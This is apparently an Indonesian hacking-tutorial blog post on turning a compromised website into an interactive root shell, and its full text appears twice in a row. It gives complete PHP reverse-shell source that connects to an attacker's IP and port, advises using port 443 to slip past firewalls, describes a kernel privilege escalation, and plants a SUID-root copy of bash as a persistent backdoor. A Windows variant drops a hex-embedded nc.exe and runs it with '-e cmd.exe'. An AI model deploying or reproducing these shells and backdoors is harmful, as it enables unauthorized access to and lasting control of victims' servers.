Mendapatkan Akses Root dari Shell
Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.
Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya
perlu memasukkan file tersebut ke suatu website. Lalu request file
PHP tersebut dari browser anda. Contohnya bila anda menamakan file
tersebut dengan rs.php, maka anda cukup membuka browser ke URL
http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah menyiapkan “listener”-nya di server
milik hacker. Cara termudah adalah dengan memakai program netcat.
Netcat di linux sudah secara default tersedia, sedangkan untuk windows
harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php
di-request, seketika itu juga netcat yang sudah diset untuk listen
di port 443 menerima koneksi dari server korban dan memberikan
shell untuk anda. Saya memilih port 443 karena biasanya firewall
mengizinkan koneksi outbound pada port http dan https, bila saya
memilih port 4444 dikhawatirkan firewall di server korban akan
memblok koneksi tersebut karena port yang tidak umum.
Bila anda hosting di tempat yang tidak memberikan akses ssh,
jangan kuatir, dengan cara ini anda bisa mendapatkan shell
interaktif layaknya memakai ssh. Pengelola hosting juga jangan
merasa aman bila tidak menyediakan akses ssh bagi customernya
karena dengan cara ini customer bisa mendapatkan akses shell
seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses
shell sebagai user apache (ceritanya kita berhasil menghack
website korban melalui sql injection attack). Kenapa user apache?
Karena webservernya kebetulan dijalankan dengan privilege user
apache.
Perintah uname memperlihatkan bahwa server hosting tersebut
memakai Linux dengan kernel yang vulnerable terhadap null pointer
dereference. Itu artinya kita bisa menjadi root di server hosting
tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker
untuk menjadi root.
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha
memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja
dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash,
kemudian mengubah permissionnya menjadi SUID root (4755).
Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi
root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan
rootshell)
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php
yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan
rsroot.php hanya pada baris yang berisi variabel $shell.
Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi
/sbin/bash yaitu root shell yang sudah dibuat hacker.
ekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker
menginginkan rootshell di server korban, dia hanya perlu membuka URL
http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php.
Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php
terlihat karakter prompt yang didapatkan adalah “#” yang berarti ini
adalah rootshell. Namun ketika shell di dapatkan melalui rs.php,
maka prompt yang didapatkan adalah “$” yang berarti hanya normal
shell sebagai apache.
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux,
file tersebut tidak berlaku bila webserver berjalan di OS Windows.
Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati
dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan
reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe
bisa dibuat dalam satu baris saja:
<?php
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya
tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan
nc.exe di windows. Alternatifnya adalah:
download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
upload: dibuat suatu file php untuk melakukan upload file ke webserver.
generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir,
yaitu generate karena paling praktis, tidak perlu download/upload
nc.exe terpisah, cukup satu file php saja. Caranya adalah saya
mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian
menaruhnya di awal file php sebagai variabel string. Kemudian isi
variabel string ini akan diubah menjadi bentuk binary decimal dan
ditulis ke dalam file nc.exe.
Potongan script php di bawah ini mengubah variabel string dalam bentuk
hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi
chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini
ditulis ke dalam file nc.exe dengan fungsi file_put_contents().
Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan
mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<?
$hex=
"310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64".
"2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b".
"699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f".
"43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf".
"8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000".
"e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3".
"0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024".
"077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f".
"cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f".
"00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407".
"db6f866d13d454f702790059001907155de1ad6dda550407166900094317".
"cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad".
"0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321".
"671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda".
"efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a".
"005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042".
"f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413".
"953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e".
"57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284".
"6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4".
"d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396".
"cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72".
"66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253".
"4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d";
$nc = "";
for ($i=0;$i<strlen($hex)/2;$i++) {
$nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1]));
}
file_put_contents("nc.exe",$nc);
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Source code lengkap reverse shell php di windows bisa didownload di sini
lalu ekstrak dan masukkan ke web server milik korban.
Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi
dan memberikan shell cmd.exe kepada server milik hacker yang
menjalankan Linux.
Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.
Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya
perlu memasukkan file tersebut ke suatu website. Lalu request file
PHP tersebut dari browser anda. Contohnya bila anda menamakan file
tersebut dengan rs.php, maka anda cukup membuka browser ke URL
http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah menyiapkan “listener”-nya di server
milik hacker. Cara termudah adalah dengan memakai program netcat.
Netcat di linux sudah secara default tersedia, sedangkan untuk windows
harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php
di-request, seketika itu juga netcat yang sudah diset untuk listen
di port 443 menerima koneksi dari server korban dan memberikan
shell untuk anda. Saya memilih port 443 karena biasanya firewall
mengizinkan koneksi outbound pada port http dan https, bila saya
memilih port 4444 dikhawatirkan firewall di server korban akan
memblok koneksi tersebut karena port yang tidak umum.
Bila anda hosting di tempat yang tidak memberikan akses ssh,
jangan kuatir, dengan cara ini anda bisa mendapatkan shell
interaktif layaknya memakai ssh. Pengelola hosting juga jangan
merasa aman bila tidak menyediakan akses ssh bagi customernya
karena dengan cara ini customer bisa mendapatkan akses shell
seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses
shell sebagai user apache (ceritanya kita berhasil menghack
website korban melalui sql injection attack). Kenapa user apache?
Karena webservernya kebetulan dijalankan dengan privilege user
apache.
Perintah uname memperlihatkan bahwa server hosting tersebut
memakai Linux dengan kernel yang vulnerable terhadap null pointer
dereference. Itu artinya kita bisa menjadi root di server hosting
tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker
untuk menjadi root.
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha
memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja
dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash,
kemudian mengubah permissionnya menjadi SUID root (4755).
Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi
root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan
rootshell)
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php
yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan
rsroot.php hanya pada baris yang berisi variabel $shell.
Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi
/sbin/bash yaitu root shell yang sudah dibuat hacker.
ekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker
menginginkan rootshell di server korban, dia hanya perlu membuka URL
http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php.
Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php
terlihat karakter prompt yang didapatkan adalah “#” yang berarti ini
adalah rootshell. Namun ketika shell di dapatkan melalui rs.php,
maka prompt yang didapatkan adalah “$” yang berarti hanya normal
shell sebagai apache.
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux,
file tersebut tidak berlaku bila webserver berjalan di OS Windows.
Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati
dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan
reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe
bisa dibuat dalam satu baris saja:
<?php
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya
tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan
nc.exe di windows. Alternatifnya adalah:
download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
upload: dibuat suatu file php untuk melakukan upload file ke webserver.
generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir,
yaitu generate karena paling praktis, tidak perlu download/upload
nc.exe terpisah, cukup satu file php saja. Caranya adalah saya
mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian
menaruhnya di awal file php sebagai variabel string. Kemudian isi
variabel string ini akan diubah menjadi bentuk binary decimal dan
ditulis ke dalam file nc.exe.
Potongan script php di bawah ini mengubah variabel string dalam bentuk
hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi
chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini
ditulis ke dalam file nc.exe dengan fungsi file_put_contents().
Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan
mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<?
$hex=
"310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64".
"2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b".
"699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f".
"43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf".
"8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000".
"e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3".
"0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024".
"077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f".
"cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f".
"00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407".
"db6f866d13d454f702790059001907155de1ad6dda550407166900094317".
"cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad".
"0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321".
"671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda".
"efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a".
"005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042".
"f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413".
"953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e".
"57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284".
"6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4".
"d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396".
"cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72".
"66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253".
"4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d";
$nc = "";
for ($i=0;$i<strlen($hex)/2;$i++) {
$nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1]));
}
file_put_contents("nc.exe",$nc);
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Source code lengkap reverse shell php di windows bisa didownload di sini
lalu ekstrak dan masukkan ke web server milik korban.
Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi
dan memberikan shell cmd.exe kepada server milik hacker yang
menjalankan Linux.
kjhvhv (m)
BalasHapus